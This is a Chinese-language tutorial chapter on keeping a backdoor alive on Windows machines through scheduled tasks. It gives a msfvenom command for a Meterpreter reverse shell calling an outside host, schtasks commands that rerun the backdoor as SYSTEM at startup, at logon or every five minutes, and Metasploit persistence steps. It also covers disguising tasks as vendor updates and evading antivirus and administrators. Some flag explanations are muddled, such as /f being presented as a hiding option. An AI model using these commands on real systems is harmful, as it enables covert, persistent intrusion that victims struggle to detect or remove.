3、Windows持久化-计划任务:利用schtasks创建计划任务实现后门持久化
持久化控制,说白了就是让后门程序在目标机器上“赖着不走”。
你想想看,好不容易拿下一台机器,结果用户重启一下,shell就丢了,那多尴尬。
Windows下的持久化手段很多,我个人最常用的就是计划任务。为什么?因为它够隐蔽,够稳定,而且几乎不会被杀软针对。
3.1 计划任务的基本原理
Windows计划任务(Task Scheduler)是系统自带的任务调度组件。它允许你在特定时间、特定事件触发时执行脚本或程序。
攻击者利用它,无非就是让后门在系统启动时、用户登录时或者每隔几分钟自动运行一次。
我遇到过不少运维人员,他们只盯着启动项和注册表,却忽略了计划任务。有一次渗透测试,我就是在目标机器上留了个计划任务,结果对方排查了三天都没发现。
3.2 利用 Metasploit 生成 payload
首先,我们需要一个可执行的后门文件。用 msfvenom 生成一个反弹 shell 的 exe。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o backdoor.exe
嗯,这里要注意:payload 的架构要和目标系统匹配。32位系统用 x86,64位系统用 x64。我曾经见过有人拿 x64 的 payload 去打 32 位的机器,结果半天没反应,排查了半天才发现问题。
生成后,把 backdoor.exe 上传到目标机器。比如放在 C:\Windows\Temp\ 目录下,这个目录权限宽松,不容易引起怀疑。
3.3 使用 schtasks 创建持久化任务
schtasks 是 Windows 自带的命令行工具,功能非常强大。我们来看看几种常见的创建方式。
3.3.1 系统启动时运行
这种方式最直接,用户每次开机都会触发后门。
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM
参数说明:
| 参数 | 含义 |
|---|---|
| /tn | 任务名称,起个看起来正常的名字,比如 WindowsUpdate、GoogleUpdate |
| /tr | 要执行的程序路径 |
| /sc | 触发类型,onstart 表示系统启动时 |
| /ru | 运行权限,SYSTEM 是最高权限 |
3.3.2 用户登录时运行
这种方式更通用,无论是开机还是休眠唤醒,只要用户登录就会触发。
schtasks /create /tn "GoogleUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru "SYSTEM"
我个人习惯用 onlogon 而不是 onstart。因为很多企业电脑设置了快速启动,onstart 的触发时机其实很微妙,而 onlogon 就稳定得多。
3.3.3 每隔一段时间运行
如果你担心后门被干掉,可以设置成每隔几分钟运行一次。这样即使被杀了,过一会儿又会复活。
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc minute /mo 5 /ru SYSTEM
这个任务每5分钟执行一次后门。你想想看,就算管理员发现了进程并结束掉,最多5分钟,shell 又回来了。
3.4 隐藏计划任务的技巧
光创建任务还不够,我们得让它看起来像正常的系统任务。
技巧一:伪装任务名称
用常见的系统更新或软件更新名称。比如:
- WindowsUpdate
- MicrosoftEdgeUpdate
- GoogleUpdateTask
- AdobeFlashPlayerUpdate
技巧二:隐藏任务
schtasks 支持一个隐藏参数,可以让任务在任务计划程序库中不可见。
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM /f
加上 /f 参数,如果任务已存在则强制覆盖。但说实话,这个隐藏功能在 Windows 10/11 上效果有限,有经验的管理员还是能通过命令行查看到。
技巧三:使用系统路径
把后门文件放在系统目录下,比如 C:\Windows\System32\ 或者 C:\Windows\SysWOW64\。这些目录文件众多,混在里面不容易被发现。
3.5 利用 Metasploit 模块自动创建
手动敲命令太麻烦?Metasploit 提供了现成的模块,一键创建计划任务后门。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j
# 拿到 session 后,加载扩展
load extapi
# 创建计划任务持久化
run persistence -S -U -X -i 30 -p 4444 -r 192.168.1.100
参数说明:
- -S:以 SYSTEM 权限运行
- -U:用户登录时启动
- -X:系统启动时启动
- -i:反弹间隔(秒)
- -p:端口
- -r:IP 地址
这个模块会自动生成 payload 并创建计划任务。不过我个人建议还是手动操作,因为自动生成的 payload 特征比较明显,容易被杀软查杀。
3.6 清理痕迹
渗透测试结束后,记得清理掉留下的计划任务。
schtasks /delete /tn "WindowsUpdate" /f
删除后最好再确认一下:
schtasks /query /tn "WindowsUpdate"
如果返回“找不到指定的任务”,说明清理干净了。
3.7 本章知识体系
下面这张图总结了计划任务持久化的核心流程和关键点:
说白了,计划任务持久化就是三步:生成后门、上传文件、创建任务。但真正考验功力的是细节——任务名称起什么、触发方式选哪个、文件放哪里。这些细节决定了你的后门能活多久。
我个人建议,在实际操作中多准备几套方案。如果 onstart 不行,就换 onlogon;如果每分钟触发太频繁,就改成每30分钟。灵活应变,才能在各种环境中站稳脚跟。